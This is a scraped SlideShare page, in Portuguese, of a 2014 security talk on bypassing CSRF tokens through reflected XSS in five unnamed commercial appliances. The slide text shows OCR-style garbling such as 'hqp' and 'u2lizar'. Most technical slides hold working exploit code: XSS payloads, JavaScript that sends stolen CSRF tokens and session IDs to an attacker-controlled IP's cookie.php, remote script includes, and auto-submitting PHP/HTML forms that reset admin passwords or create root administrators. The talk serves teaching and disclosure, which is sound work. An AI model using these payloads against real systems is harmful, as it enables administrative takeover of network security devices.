Bypass 
de 
Token 
CSRF 
na 
pra2ca/Exploração 
de 
ByPasss 
de 
CSRF 
William 
Costa
Bypass 
de 
Token 
CSRF 
Consultor 
em 
Segurança 
da 
Informação. 
CISSP, 
C|EH, 
E|CSA, 
CPT, 
CEPT, 
LPI.
Bypass 
de 
Token 
CSRF 
Vulnerabilidade CSRF. 
• Cross-­‐site 
request 
forgery 
é 
o 
envio 
de 
comandos 
(dados) 
pelo...
Bypass 
de 
Token 
CSRF 
Senta que lá vem a Historia do CSRF. 
• O 
Primeiro 
CVE 
disponível 
no 
mitre 
sobre 
CSRF 
(CV...
Bypass 
de 
Token 
CSRF 
Como ocorre um ataque de 
CSRF. 
• A 
vi2ma 
realiza 
o 
logon 
na 
aplicação 
vulnerável, 
com 
...
Bypass 
de 
Token 
CSRF 
A 
OWASP 
recomenda 
a 
u2lização 
de 
Tokens 
também 
conhecidos 
como 
Token 
CSRF 
para 
prefi...
Bypass 
de 
Token 
CSRF 
Exemplo de um Token CSRF
Bypass 
de 
Token 
CSRF 
Como funciona o Token 
CSRF.
Bypass 
de 
Token 
CSRF 
Cross-­‐Site ScripBng (XSS) 
• Cross-­‐Site 
Scrip2ng 
é 
composto 
por 
envio 
de 
scripts 
mali...
TOP 10 OWASP 
• OWASP 
Top 
10 
– 
2013 
• A1 
– 
Injec2on 
• A2 
Bypass 
de 
Token 
CSRF 
– 
Broken 
Authen2ca2on 
and 
S...
Bypass 
de 
Token 
CSRF 
Bypass do CSRF na práBca. 
Nos 
próximos 
slides 
irei 
apresentar 
5 
formas 
de 
by-­‐pass 
de ...
Alvo 
: 
Bypass 
de 
Token 
CSRF 
Falha 1# 
• Gerenciador 
de 
Sistemas 
Resultado: 
Um 
Reflected 
XSS 
no 
parâmetro 
“I...
Bypass 
de 
Token 
CSRF 
XSS no parâmetro ID . 
• hqp://ip/adminui/user.php?ID=10">]</a><script>alert("XSS");</ 
script>&&...
Saída. 
Bypass 
de 
Token 
CSRF
Bypass 
de 
Token 
CSRF 
A primeira coisa é localizar um XSS. 
• Neste 
aplica2vo 
a 
falha 
se 
encontra 
no 
ID 
(ID=10)...
Analise do Ambiente. 
• Agora 
que 
já 
temos 
o 
nosso 
“XSS”, 
podemos 
analisar 
o 
ambiente 
e 
verificar 
o 
que 
é 
...
Criando nosso Exploit. 
• Nosso 
exploit 
será 
composto 
por 
um 
javascript, 
vamos 
u2lizar 
o 
getElementsByName() 
pa...
Resultado. 
Alterado 
a 
Senha 
do 
Usuário 
Admin 
J 
Bypass 
de 
Token 
CSRF
Falha 2# 
Alvo: 
• Firewall 
UTM 
Resultado: 
• Um 
Reflected 
XSS 
no 
campo 
“mkey 
” 
na 
pagina 
de 
configuração 
dos...
Bypass 
de 
Token 
CSRF 
XSS no parâmetro mkey. 
• hqp://IP/firewall/schedule/recurrdlg? 
mkey=a"><script>alert("xss");</s...
Saída. 
Bypass 
de 
Token 
CSRF
Localizando a falha. 
• O 
Bypass 
de 
Token 
CSRF 
XSS 
neste 
caso 
é 
inserido 
no 
parâmetro 
“mkey” 
que 
é 
a 
variá...
Analise do Ambiente. 
• Na 
Bypass 
de 
Token 
CSRF 
pagina 
onde 
ocorre 
a 
inserção 
do 
script, 
não 
contém 
informaç...
Criando o Exploit. 
• Iremos 
Bypass 
de 
Token 
CSRF 
criar 
um 
script 
para 
envio 
do 
Token 
CSRF 
para 
nosso 
servi...
• Esse 
Bypass 
de 
Token 
CSRF 
código 
é 
responsável 
pelo 
envio 
do 
ataque 
CSRF 
quando 
o 
usuário 
acessa 
a 
pág...
Resultado. 
Criação 
de 
um 
novo 
usuário 
de 
Administração. 
J 
Bypass 
de 
Token 
CSRF
Falha 3# 
Alvo: 
• Web 
Filter 
Resultado: 
• Um 
Reflected 
XSS 
no 
campo 
“date_range 
” 
na 
pagina 
de 
Repor2ngs 
po...
Bypass 
de 
Token 
CSRF 
XSS no parâmetro date_range. 
• hqps://ip_webfilter/monitor/users? 
printable=False&date_range=a"...
Saída. 
Bypass 
de 
Token 
CSRF
Localizando a falha. 
• O 
Bypass 
de 
Token 
CSRF 
XSS 
neste 
caso 
é 
inserido 
no 
parâmetro 
“date_range” 
u2lizado 
...
Analise do Ambiente. 
• Analisando 
o 
conteúdo 
do 
código 
devolvido 
ao 
usuário 
encontramos 
o 
Token 
CSRF 
em 
uma ...
Bypass 
de 
Token 
CSRF 
Criando o Exploit. 
• Iniciaremos 
com 
a 
criação 
do 
Exploit 
para 
localização 
desse 
script...
Bypass 
de 
Token 
CSRF 
Criando o Exploit. 
<?php 
$lines 
= 
file 
('cookies.txt'); 
$matrizDeDados[] 
= 
$lines; 
// 
r...
Resultado. 
Bypass 
de 
Token 
CSRF 
Alteração 
da 
senha 
do 
usuário 
Admin. 
J
Falha 4# 
Alvo: 
• Messaging 
Security 
(an2-­‐spam) 
Resultado: 
• Um 
Reflected 
XSS 
no 
campo 
“new 
” 
na 
pagina 
de...
Bypass 
de 
Token 
CSRF 
XSS no parâmetro new. 
• hqps://ip_an2spam/admin? 
module=SysUser&method=user&new=1><script 
src=...
Saída. 
Bypass 
de 
Token 
CSRF
Localizando a falha. 
• O 
Bypass 
de 
Token 
CSRF 
XSS 
neste 
caso 
é 
inserido 
no 
parâmetro 
“new” 
u2lizado 
para 
i...
Analise do Ambiente. 
• Analisando 
Bypass 
de 
Token 
CSRF 
o 
conteúdo 
do 
código 
devolvido 
ao 
usuário 
vemos 
que 
...
Bypass 
de 
Token 
CSRF 
Criando o Exploit. 
• Esse 
exploit 
tem 
o 
intuito 
de 
preencher 
os 
campos 
input 
do 
usuár...
Resultado. 
Criação 
de 
um 
novo 
usuário 
de 
Administração. 
J 
Bypass 
de 
Token 
CSRF
Falha 5# 
Alvo: 
• WAF 
(Web 
Applica2on 
Firewall) 
Resultado: 
• Um 
Reflected 
XSS 
da 
pagina 
de 
Regex 
pré 
definid...
XSS na URL. 
Bypass 
de 
Token 
CSRF 
• hqps://waf/prot/paqern/list_url_rule/aaa">}//-­‐-­‐></script><script 
src=hqps://1...
Saída. 
Bypass 
de 
Token 
CSRF
Localizando a falha. 
• O 
Bypass 
de 
Token 
CSRF 
XSS 
neste 
caso 
é 
inserido 
na 
URL 
que 
é 
u2lizada 
para 
criaçã...
Analise do Ambiente. 
• Analisando 
Bypass 
de 
Token 
CSRF 
o 
código 
devolvido 
ao 
usuário 
encontramos 
o 
Token 
CSR...
Criando o Exploit. 
• Esse 
exploit 
envia 
ao 
servidor 
o 
Session_ID 
que 
vai 
ser 
usado 
para 
criação 
de 
um 
usuá...
Bypass 
de 
Token 
CSRF 
Criando o Exploit.
Criação 
de 
um 
novo 
usuário 
de 
Administração. 
J 
Bypass 
de 
Token 
CSRF 
Resultado.
Bypass 
de 
Token 
CSRF 
Conclusão. 
• Se 
temos 
um 
XSS 
na 
aplicação 
é 
fácil 
burlar 
as 
proteções 
de 
Flag 
HqpOn...
<script>alert(String(/Perguntas?/).substr(1,10) ); </script> 
twifer.com/@willcosta 
Bypass 
de 
Token 
CSRF
Próximos SlideShares
Carregando em…5
×

Bypass de token csrf na pratica secure brasil

1.160 visualizações

Publicada em

Slides apresentados na Secure Brasil 2014

Publicada em: Tecnologia
0 comentários
0 gostaram
Estatísticas
Notas
  • Seja o primeiro a comentar

  • Seja a primeira pessoa a gostar disto

Sem downloads
Visualizações
Visualizações totais
1.160
No SlideShare
0
A partir de incorporações
0
Número de incorporações
3
Ações
Compartilhamentos
0
Downloads
8
Comentários
0
Gostaram
0
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide

Bypass de token csrf na pratica secure brasil

  1. 1. Bypass de Token CSRF na pra2ca/Exploração de ByPasss de CSRF William Costa
  2. 2. Bypass de Token CSRF Consultor em Segurança da Informação. CISSP, C|EH, E|CSA, CPT, CEPT, LPI.
  3. 3. Bypass de Token CSRF Vulnerabilidade CSRF. • Cross-­‐site request forgery é o envio de comandos (dados) pelo usuário a um site que confia em seu browser (usuário já auten2cado) sem o consen2mento/conhecimento do mesmo. • Normalmente ocorre com ajuda da engenharia social, por meio de envio de links e/ou phishings .
  4. 4. Bypass de Token CSRF Senta que lá vem a Historia do CSRF. • O Primeiro CVE disponível no mitre sobre CSRF (CVE-­‐2002-­‐1648) é de uma vulnerabilidade de 2002 no webmail SquirrelMail. • O Mitre conta com 921 CVEs publicados deste 2po de falha.
  5. 5. Bypass de Token CSRF Como ocorre um ataque de CSRF. • A vi2ma realiza o logon na aplicação vulnerável, com a sessão valida realiza o acesso a um site controlado pelo atacante.
  6. 6. Bypass de Token CSRF A OWASP recomenda a u2lização de Tokens também conhecidos como Token CSRF para prefinir o ataque de CSRF normalmente são u2lizados para validação dos dados enviados via POST(podem ser enviados via GET também), prevenindo assim, um atacante de enviar via browser da vi2ma informações sem o conhecimento prévio do token. Impossibilitando o ataque CSRF.
  7. 7. Bypass de Token CSRF Exemplo de um Token CSRF
  8. 8. Bypass de Token CSRF Como funciona o Token CSRF.
  9. 9. Bypass de Token CSRF Cross-­‐Site ScripBng (XSS) • Cross-­‐Site Scrip2ng é composto por envio de scripts maliciosos em uma requisição de um usuário ao site legi2mo, dessa forma o script será executado pelo browser da vi2ma.
  10. 10. TOP 10 OWASP • OWASP Top 10 – 2013 • A1 – Injec2on • A2 Bypass de Token CSRF – Broken Authen2ca2on and Session Management • A3 – Cross-­‐Site Scrip2ng (XSS) • A4 – Insecure Direct Object References • A5 – Security Misconfigura2on • A6 – Sensi2ve Data Exposure • A7 – Missing Func2on Level Access Control • A8 – Cross-­‐Site Request Forgery (CSRF) • A9 – Using Known Vulnerable Components • A10 – Unvalidated Redirects and Forwards
  11. 11. Bypass de Token CSRF Bypass do CSRF na práBca. Nos próximos slides irei apresentar 5 formas de by-­‐pass de implementações diferentes de Tokens CSRFs. Acredito que o aprendizado pra2co é mais didá2co, então veremos 5 falhas em cinco produtos de mercado que u2lizam alguma implementação do Token CSRF. J
  12. 12. Alvo : Bypass de Token CSRF Falha 1# • Gerenciador de Sistemas Resultado: Um Reflected XSS no parâmetro “ID” na pagina de configuração de usuários administra2vos.
  13. 13. Bypass de Token CSRF XSS no parâmetro ID . • hqp://ip/adminui/user.php?ID=10">]</a><script>alert("XSS");</ script>&&PAGE=2
  14. 14. Saída. Bypass de Token CSRF
  15. 15. Bypass de Token CSRF A primeira coisa é localizar um XSS. • Neste aplica2vo a falha se encontra no ID (ID=10) de iden2ficação do usuário administrador. • Não ocorre o tratamento dos dados enviados nesta variável, o conteúdo da variável é inserida em um link de href da tag <a>. • <a href="history_log.php? HISTORY_TYPE=OBJECT&TYPE_NAME=USER&TYPE_ID=10"></ a><script>alert(2);</script>&NAME=admin&SHOW_ALL=1" onclick='logPopup(this); return false;'>Show All History</a>
  16. 16. Analise do Ambiente. • Agora que já temos o nosso “XSS”, podemos analisar o ambiente e verificar o que é possível fazer com este. • Analisando a pagina onde temos o nosso XSS, vemos que é possível alterar a senha do usuário sem a necessidade da senha atual J. • Já temos o Nosso Alvo. Bypass de Token CSRF
  17. 17. Criando nosso Exploit. • Nosso exploit será composto por um javascript, vamos u2lizar o getElementsByName() para localizar o input correspondente ao campo Password e Confirm Password e setar uma senha. document.getElementsByName('FARRAY[PASSWORD]')[0].value = "123456”; document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value = "123456”; Porém a nossa injeção de script ocorre no inicio do código HTML, por tanto ainda não existem esses campos. A solução é adicionar nosso código a uma função e setar um 2meout. func2on append(csrf) { document.getElementsByName('FARRAY[PASSWORD]')[0].value = "123456"; document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value = "123456"; document.UserForm.submit(); } setTimeout("append("2meout")", 1000); Bypass de Token CSRF
  18. 18. Resultado. Alterado a Senha do Usuário Admin J Bypass de Token CSRF
  19. 19. Falha 2# Alvo: • Firewall UTM Resultado: • Um Reflected XSS no campo “mkey ” na pagina de configuração dos schedules das regras. Bypass de Token CSRF
  20. 20. Bypass de Token CSRF XSS no parâmetro mkey. • hqp://IP/firewall/schedule/recurrdlg? mkey=a"><script>alert("xss");</script>
  21. 21. Saída. Bypass de Token CSRF
  22. 22. Localizando a falha. • O Bypass de Token CSRF XSS neste caso é inserido no parâmetro “mkey” que é a variável do nome do objeto de schedule. • Mais uma vez a variável não foi tratada e a mesma é inserida em um tag <input> do html. • <input type=text name=name id=name size="50" maxlength="31" onfocus="this.select()" value="a"><script>alert("XSS");</script>">
  23. 23. Analise do Ambiente. • Na Bypass de Token CSRF pagina onde ocorre a inserção do script, não contém informações sensíveis, mas, o Token CSRF é guardado em um COOKIE. J • Inserindo um simples <script>alert(document.cookie) ;<script>, temos a seguinte saída • Alvo criação de um novo Usuário
  24. 24. Criando o Exploit. • Iremos Bypass de Token CSRF criar um script para envio do Token CSRF para nosso servidor, depois enviar o usuário a nossa página para o envio dos dados de criação do usuário administrador (CSRF). var o_cookie_array = o_cookie.split(";"); var a_data = unescape(o_cookie_array[1]); var a_data_array = a_data.split ("=" ); var token = unescape(a_data_array[1]); window.loca=on.replace("h?ps://10.0.1.120/xss/cookie.php?cookie=" + encodeURIComponent(token));
  25. 25. • Esse Bypass de Token CSRF código é responsável pelo envio do ataque CSRF quando o usuário acessa a página. <body onload="CSRF.submit();”> <?php $lines = file ('cookies.txt'); dados = explode('"',$lines[1]); $matrizDeDados[] = $dados; foreach ($matrizDeDados as $linhas){ $token = $linhas[1]; } ?> <form id="CSRF" ac=on="h?p://ip_fw/system/config/adminadd" method="post" name="CSRF"> <input name="name" value="user.exploit"> </input> <input name="admin_type" value="1"> </input> <input name="newpasswd1" value="123456"> </input> <input name="newpasswd2" value="123456"> </input> <input name="guest_grp" value=""> </input> <input name="CSRF_TOKEN" value="<?php echo $token;?>"> </input> </form> Criando o Exploit.
  26. 26. Resultado. Criação de um novo usuário de Administração. J Bypass de Token CSRF
  27. 27. Falha 3# Alvo: • Web Filter Resultado: • Um Reflected XSS no campo “date_range ” na pagina de Repor2ngs por usuários. Bypass de Token CSRF
  28. 28. Bypass de Token CSRF XSS no parâmetro date_range. • hqps://ip_webfilter/monitor/users? printable=False&date_range=a"><script>alert(“XSS”)</script>
  29. 29. Saída. Bypass de Token CSRF
  30. 30. Localizando a falha. • O Bypass de Token CSRF XSS neste caso é inserido no parâmetro “date_range” u2lizado para filtro de data. • Mais uma vez a variável não foi tratada e a mesma é inserida em uma tag <input> do html. • <input type="hidden" id="current_date_range” value="aaaaa"><script>alert(2)</script>">
  31. 31. Analise do Ambiente. • Analisando o conteúdo do código devolvido ao usuário encontramos o Token CSRF em uma função do javascript . J • Alvo: Para a troca de senha do Usuário admin, não é necessário saber a senha anterior J Bypass de Token CSRF
  32. 32. Bypass de Token CSRF Criando o Exploit. • Iniciaremos com a criação do Exploit para localização desse script e a remoção do seu conteúdo e envio ao nosso servidor. Como o nosso script é inserido antes da criação da função que contém o Token iremos adicionar o nosso script um 2meout. func=on append(csrf) { csrf = document.getElementsByTagName('script').item(20).textContent var o_cookie = csrf; var o_cookie_array = o_cookie.split("="); var a_data = unescape(o_cookie_array[2]); var a_data_array = a_data.split ("&" ); var token = unescape(a_data_array[0]); window.loca=on.replace("h?ps://ip_server/cookie.php?cookie=" + encodeURIComponent(token)) } setTimeout("append("=meout")", 2000);
  33. 33. Bypass de Token CSRF Criando o Exploit. <?php $lines = file ('cookies.txt'); $matrizDeDados[] = $lines; // recolhe valores da linha foreach ($matrizDeDados as $linhas){ $token = $linhas[1]; } ?> <body onload="CSRF.submit();"> <form id="CSRF" ac=on="h?ps://IP_applicacao/system_administra=on/access/users" method="post" name="CSRF"> <input name="screen" value="system_administra=on.access.users"> </input> <input name="isEdit" value="true"> </input> <input name="userName" value="admin"> </input> <input name="group" value="admin"> </input> <input name="passwd" value="123456789"> </input> <input name="retypePassword" value="123456789"> </input> <input name="CSRFKey" value="<?php echo $token;?>"> </input> </form>
  34. 34. Resultado. Bypass de Token CSRF Alteração da senha do usuário Admin. J
  35. 35. Falha 4# Alvo: • Messaging Security (an2-­‐spam) Resultado: • Um Reflected XSS no campo “new ” na pagina de criação de usuários administra2vos. Bypass de Token CSRF
  36. 36. Bypass de Token CSRF XSS no parâmetro new. • hqps://ip_an2spam/admin? module=SysUser&method=user&new=1><script src=//10.0.1.120/e.js
  37. 37. Saída. Bypass de Token CSRF
  38. 38. Localizando a falha. • O Bypass de Token CSRF XSS neste caso é inserido no parâmetro “new” u2lizado para informar a criação de um novo usuário administrador na aplicação. • Mais uma vez a variável não foi tratada e a mesma é inserida em um tag <input> do html. • <input type=hidden name=new value=1><script src=//10.0.1.120/e.js>
  39. 39. Analise do Ambiente. • Analisando Bypass de Token CSRF o conteúdo do código devolvido ao usuário vemos que o nosso script é inserido dentro de uma TAG input . J • Alvo: Já estamos na página de criação de novos usuários administradores, por que não criar um para nós?!.
  40. 40. Bypass de Token CSRF Criando o Exploit. • Esse exploit tem o intuito de preencher os campos input do usuário, senha e role, porém quando inserimos o XSS quebramos a tag input do usuário. Vamos corrigir isso com um simples document.write. //Create tag input with Id of user that was break by XSS document.write("<input id='id' name='id' value='user.exploit'>"); //Set values in input with password and role func=on append(csrf) { document.getElementsByName('user_newpassword_1')[0].value = "admin@123"; document.getElementsByName('user_newpassword_2')[0].value = "admin@123"; document.getElementsByName('selectedrole')[0].value = "root"; document.main_form.submit(); } setTimeout("append("=meout")", 1000);
  41. 41. Resultado. Criação de um novo usuário de Administração. J Bypass de Token CSRF
  42. 42. Falha 5# Alvo: • WAF (Web Applica2on Firewall) Resultado: • Um Reflected XSS da pagina de Regex pré definidos em um script de criação de cookie Bypass de Token CSRF
  43. 43. XSS na URL. Bypass de Token CSRF • hqps://waf/prot/paqern/list_url_rule/aaa">}//-­‐-­‐></script><script src=hqps://10.0.1.120/exploit.js></script>
  44. 44. Saída. Bypass de Token CSRF
  45. 45. Localizando a falha. • O Bypass de Token CSRF XSS neste caso é inserido na URL que é u2lizada para criação de um cookie por um javascript • A URL não foi tratada e a mesma é inserida em um javascript <script> da aplicação. setCookie("/prot/pa?ern/list_data_type/aaa">}//-­‐-­‐></script><script src=h?ps://10.0.1.120/teste.js></script>"
  46. 46. Analise do Ambiente. • Analisando Bypass de Token CSRF o código devolvido ao usuário encontramos o Token CSRF com o nome de Session_ID, já temos o nosso token. Alvo: Criação de um Novo usuário
  47. 47. Criando o Exploit. • Esse exploit envia ao servidor o Session_ID que vai ser usado para criação de um usuário administrador. J window.loca2on.replace("hqps://10.0.1.120/cookie.php?cookie=" + encodeURIComponent(session_id)); • Não precisamos nem nós preocuparmos em como obter o token ele é uma variável universal. Bypass de Token CSRF
  48. 48. Bypass de Token CSRF Criando o Exploit.
  49. 49. Criação de um novo usuário de Administração. J Bypass de Token CSRF Resultado.
  50. 50. Bypass de Token CSRF Conclusão. • Se temos um XSS na aplicação é fácil burlar as proteções de Flag HqpOnly do cookie ou Token CSRF.
  51. 51. <script>alert(String(/Perguntas?/).substr(1,10) ); </script> twifer.com/@willcosta Bypass de Token CSRF

×